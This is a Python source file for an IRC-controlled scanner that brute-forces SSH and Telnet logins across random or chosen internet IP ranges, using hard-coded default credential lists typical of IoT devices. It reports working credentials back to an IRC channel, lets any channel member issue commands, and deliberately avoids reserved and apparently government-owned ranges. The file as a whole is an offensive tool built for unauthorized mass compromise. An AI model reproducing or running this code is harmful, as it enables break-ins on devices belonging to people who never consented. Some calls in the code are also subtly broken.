spaggiari/spaggiari/spaggiari_irc.py

465 lines
17 KiB
Python

#!/usr/bin/env python
# Spaggiari Scanner (IRC Bot Version) - Developed by acidvegas in Python (https://acid.vegas/spaggiari)
import ipaddress
import os
import random
import re
import socket
import ssl
import sys
import telnetlib
import threading
import time
from collections import OrderedDict
# IRC Config
server = 'irc.supernets.org'
port = 6667
use_ipv6 = False
use_ssl = False
password = None
channel = '#dev'
key = None
admin_host = 'ak@super.nets'
# Throttle Settings
max_threads = 120 # Maximum number of threads.
throttle = 0 # Delway between each combo attempt.
timeout_breaker = 3 # How many timeouts until host is given up on.
timeout = 3 # Timeout for all sockets.
# Bruteforce Combos
ssh_combos = OrderedDict([
('root', ('root','toor','admin','changeme','pass','password','1234','12345','123456')),
('admin', ('1234','12345','123456','4321','9999','abc123','admin','changeme','admin123','password'))
])
telnet_combos = OrderedDict([
('666666', ('666666',)),
('888888', ('888888',)),
('admin', (None, '1111', '1111111', '1234', '12345', '123456', '54321', '7ujMko0admin', 'admin', 'admin1234', 'meinsm', 'pass', 'password', 'smcadmin')),
('admin1', ('password',)),
('administrator', ('1234',)),
('Administrator', ('admin',)),
('guest', ('12345', 'guest')),
('mother', ('fucker',)),
('root', (None, '00000000', '1111', '1234', '12345', '123456', '54321', '666666', '7ujMko0admin', '7ujMko0vizxv', '888888', 'admin', 'anko', 'default', 'dreambox', 'hi3518', 'ikwb', 'juantech', 'jvbzd', 'klv123', 'klv1234', 'pass', 'password', 'realtek', 'root', 'system', 'user', 'vizxv', 'xc3511', 'xmhdipc', 'zlxx.', 'Zte521')),
('service', ('service',)),
('supervisor', ('supervisor',)),
('support', ('support',)),
('tech', ('tech',)),
('ubnt', ('ubnt',)),
('user', ('user',))
])
# Important Ranges (DO NOT EDIT)
spooky = ('11','21','22','24','25','26','29','49','50','55','62','64','128','129','130','131','132','134','136','137','138','139','140','143','144','146','147','148','150','152','153','155','156','157','158','159','161','162','163','164','167','168','169','194','195','199','203','204','205','207','208','209','212','213','216','217','6','7')
reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255')
# Formatting Control Characters / Color Codes
bold = '\x02'
italic = '\x1D'
underline = '\x1F'
reverse = '\x16'
reset = '\x0f'
white = '00'
black = '01'
blue = '02'
green = '03'
red = '04'
brown = '05'
purple = '06'
orange = '07'
yellow = '08'
light_green = '09'
cyan = '10'
light_cyan = '11'
light_blue = '12'
pink = '13'
grey = '14'
light_grey = '15'
# Debug Functions
def debug(msg):
print('{0} | [~] - {1}'.format(get_time(), msg))
def error(msg, reason=None):
if reason:
print('{0} | [!] - {1} ({2})'.format(get_time(), msg, str(reason)))
else:
print('{0} | [!] - {1}'.format(get_time(), msg))
def error_exit(msg):
raise SystemExit('{0} | [!] - {1}'.format(get_time(), msg))
def get_time():
return time.strftime('%I:%M:%S')
# Functions
def check_ip(ip):
return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip)
def check_port(ip, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
try:
code = sock.connect((ip, port))
except socket.error:
return False
else:
if not code:
return True
else:
return False
finally:
sock.close()
def check_range(targets):
found = False
for ip in targets:
if found:
break
for bad_range in spooky + reserved:
if ip.startswith(bad_range + '.'):
found = True
break
return found
def color(msg, foreground, background=None):
if background:
return '\x03{0},{1}{2}{3}'.format(foreground, background, msg, reset)
else:
return '\x03{0}{1}{2}'.format(foreground, msg, reset)
def ip_range(network):
return ipaddress.ip_network(network)
def random_ip():
return '{0}.{1}.{2}.{3}'.format(random_int(1,223), random_int(0,255), random_int(0,255), random_int(0,255))
def random_int(min, max):
return random.randint(min, max)
def random_str(size):
return ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(size))
# Scan Functions
class random_scan(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
while True:
if Spaggiari.stop_scan:
break
else:
ip = (random_ip(), )
if not check_range(ip):
ssh_bruteforce(ip[0]).start()
while threading.activeCount() >= max_threads:
time.sleep(1)
class range_scan(threading.Thread):
def __init__(self, ip_range):
self.ip_range = ip_range
threading.Thread.__init__(self)
def run(self):
for ip in self.ip_range:
if Spaggiari.stop_scan:
break
else:
ssh_bruteforce(ip).start()
self.ip_range.remove(ip)
while threading.activeCount() >= max_threads:
time.sleep(1)
while threading.activeCount() >= 2:
time.sleep(1)
Spaggiari.scanning = False
Spaggiari.sendmsg(channel, '[{0}] - Scan has completed.'.format(color('#', blue)))
class ssh_bruteforce(threading.Thread):
def __init__(self, ip):
self.ip = ip
self.timeouts = 0
threading.Thread.__init__(self)
def run(self):
if check_port(self.ip, 22):
for username in ssh_combos:
for password in ssh_combos[username]:
if Spaggiari.stop_scan or self.timeouts >= timeout_breaker:
break
else:
result = ssh_connect(self.ip, username, password)
if result == 1:
self.timeouts += 1
elif result == 2:
self.timeouts = timeout_breaker
time.sleep(throttle)
class telnet_bruteforce(threading.Thread):
def __init__(self, ip):
self.ip = ip
self.timeouts = 0
threading.Thread.__init__(self)
def run(self):
if check_port(self.ip, 23):
for username in telnet_combos:
for password in telnet_combos[username]:
if Spaggiari.stop_scan or self.timeouts >= timeout_breaker:
break
else:
result = telnet_connect(self.ip, username, password)
if result == 1:
self.timeouts += 1
elif result == 2:
self.timeouts = timeout_breaker
time.sleep(throttle)
def ssh_connect(hostname, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname, 22, username, password, timeout=timeout)
stdin,stdout,stderr = ssh.exec_command('echo lol')
for line in stdout.readlines():
if 'ogin:' in line:
raise Exception('Invalid')
else:
Spaggiari.sendmsg(channel, line)
except socket.timeout:
return 1
except:
return 0
else:
Spaggiari.sendmsg(channel, '[{0}] - Successful SSH connection to {1} using {2}:{3}'.format(color('+', green), hostname, username, password))
return 2
finally:
ssh.close()
def telnet_connect(hostname, username, password):
try:
tn = telnetlib.Telnet(hostname, 23, timeout)
# time.sleep(1)
# print(tn.read_some())
tn.read_until((b':' or b'>' or b'$' or b'@'))
tn.write(username.encode() + b'\n')
tn.read_until((b':' or b'>' or b'$' or b'@'))
tn.write(password.encode() + b'\n')
tn.read_all()
tn.close()
except socket.timeout:
return 1
except:
return 0
else:
Spaggiari.sendmsg(channel, '[{0}] - Successful Telnet connection to {1} using {2}:{3}'.format(color('+', green), hostname, username, password))
return 2
# IRC Bot Object
class IRC(object):
def __init__(self):
self.server = server
self.port = port
self.use_ipv6 = use_ipv6
self.use_ssl = use_ssl
self.password = password
self.channel = channel
self.key = key
self.nickname = 'spag-' + random_str(5)
self.scanning = False
self.stop_scan = False
self.sock = None
def start(self):
self.connect()
def action(self, chan, msg):
self.sendmsg(chan, '\x01ACTION {0}\x01'.format(msg))
def connect(self):
try:
self.create_socket()
self.sock.connect((self.server, self.port))
if self.password:
self.raw('PASS ' + self.password)
self.raw(f'USER {random_str(5)} 0 * :{random_str(5)}')
self.nick(self.nickname)
except Exception as ex:
error('Failed to connect to IRC server.', ex)
self.event_disconnect()
else:
self.listen()
def create_socket(self):
family = socket.AF_INET6 if self.use_ipv6 else socket.AF_INET
self.sock = socket.socket(family, socket.SOCK_STREAM)
if self.use_ssl:
self.sock = ssl.wrap_socket(self.sock)
def error(self, chan, msg, reason=None):
if reason:
self.sendmsg(chan, '[{0}] {1} {2}'.format(color('ERROR', red), msg, color('({0})'.format(str(reason)), grey)))
else:
self.sendmsg(chan, '[{0}] {1}'.format(color('ERROR', red), msg))
def event_connect(self):
self.join(self.channel, self.key)
def event_disconnect(self):
self.sock.close()
self.stop_scan = True
while threading.activeCount() >= 3:
time.sleep(1)
self.scanning = False
self.stop_scan = False
time.sleep(10)
self.connect()
def event_kick(self, nick, chan, kicked, reason):
if kicked == self.nickname and chan == self.channel:
self.join(chan, self.key)
def event_message(self, nick, host, chan, msg):
#if host == admin_host:
args = msg.split()
cmd = msg.split()[0][1:]
if cmd == 'random':
if not self.scanning:
self.sendmsg(chan, '[{0}] - Scanning random IP addresses...'.format(color('#', blue)))
self.scanning = True
random_scan().start()
else:
self.error(chan, 'A scan is already running.')
elif cmd == 'status':
if self.scanning:
self.sendmsg(chan, 'Scanning: ' + color('True', green))
else:
self.sendmsg(chan, 'Scanning: ' + color('False', red))
elif cmd == 'stop':
if self.scanning:
self.stop_scan = True
while threading.activeCount() >= 2:
time.sleep(1)
self.action(chan, 'Stopped all running scans.')
self.scanning = False
self.stop_scan = False
elif cmd == 'range':
if not self.scanning:
if args[1] in ('b','c'):
if args[1] == 'b':
if args[2] == 'random':
range_prefix = '{0}.{1}'.format(random_int(0,255), random_int(0,255))
else:
range_prefix = args[2]
start = range_prefix + '.0.0'
end = range_prefix + '.255.255'
elif args[1] == 'c':
if args[2] == 'random':
range_prefix = '{0}.{1}.{2}'.format(random_int(0,255), random_int(0,255), random_int(0,255))
else:
range_prefix = args[2]
start = range_prefix + '.0'
end = range_prefix + '.255'
if check_ip(start) and check_ip(end):
targets = ip_range(start, end)
if not check_range(targets):
self.sendmsg(chan, '[{0}] - Scanning {1} IP addresses in range...'.format(color('#', blue), '{:,}'.format(len(targets))))
self.scanning = True
range_scan(targets).start()
else:
self.error(chan, 'Spooky/Reserved IP address range.')
else:
self.error(chan, 'Invalid IP address range.')
else:
self.error(chan, 'Invalid arguments.')
else:
self.error(chan, 'A scan is already running.')
def event_nick_in_use(self):
self.nickname = 'spag-' + random_str(5)
self.nick(self.nickname)
def handle_events(self, data):
args = data.split()
if args[0] == 'PING':
self.raw('PONG ' + args[1][1:])
elif args[1] == '001':
self.event_connect()
elif args[1] == '433':
self.event_nick_in_use()
if args[1] == 'KICK':
nick = args[0].split('!')[0][1:]
chan = args[2]
kicked = args[3]
self.event_kick(nick, chan, kicked)
elif args[1] == 'PRIVMSG':
nick = args[0].split('!')[0][1:]
if nick != self.nickname:
host = args[0].split('!')[1].split('@')[1]
chan = args[2]
if chan == self.channel:
msg = ' '.join(args[3:])[1:]
self.event_message(nick, host, chan, msg)
def join(self, chan, key=None):
if key:
self.raw(f'JOIN {chan} {key}')
else:
self.raw('JOIN ' + chan)
def listen(self):
while True:
try:
data = self.sock.recv(1024).decode('utf-8')
if data:
for line in (line for line in data.split('\r\n') if line):
debug(line)
if len(line.split()) >= 2:
if line.startswith('ERROR :Closing Link:'):
raise Exception('Connection has closed.')
else:
self.handle_events(line)
else:
error('No data recieved from server.')
break
except (UnicodeDecodeError,UnicodeEncodeError):
pass
except Exception as ex:
error('Unexpected error occured.', ex)
break
self.event_disconnect()
def nick(self, nick):
self.raw('NICK ' + nick)
def raw(self, msg):
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
def sendmsg(self, target, msg):
self.raw(f'PRIVMSG {target} :{msg}')
# Main
print(''.rjust(56, '#'))
print('#{0}#'.format(''.center(54)))
print('#{0}#'.format('Spaggiari Scanner'.center(54)))
print('#{0}#'.format('Developed by acidvegas in Python 3'.center(54)))
print('#{0}#'.format('https://github.com/acidvegas/spaggiari'.center(54)))
print('#{0}#'.format(''.center(54)))
print(''.rjust(56, '#'))
if not sys.version_info.major == 3:
error_exit('Spaggiari Scanner requires Python version 3 to run!')
try:
import paramiko
except ImportError:
error_exit('Failed to import the Paramiko library!')
else:
paramiko.util.log_to_file(os.devnull)
Spaggiari = IRC()
Spaggiari.start()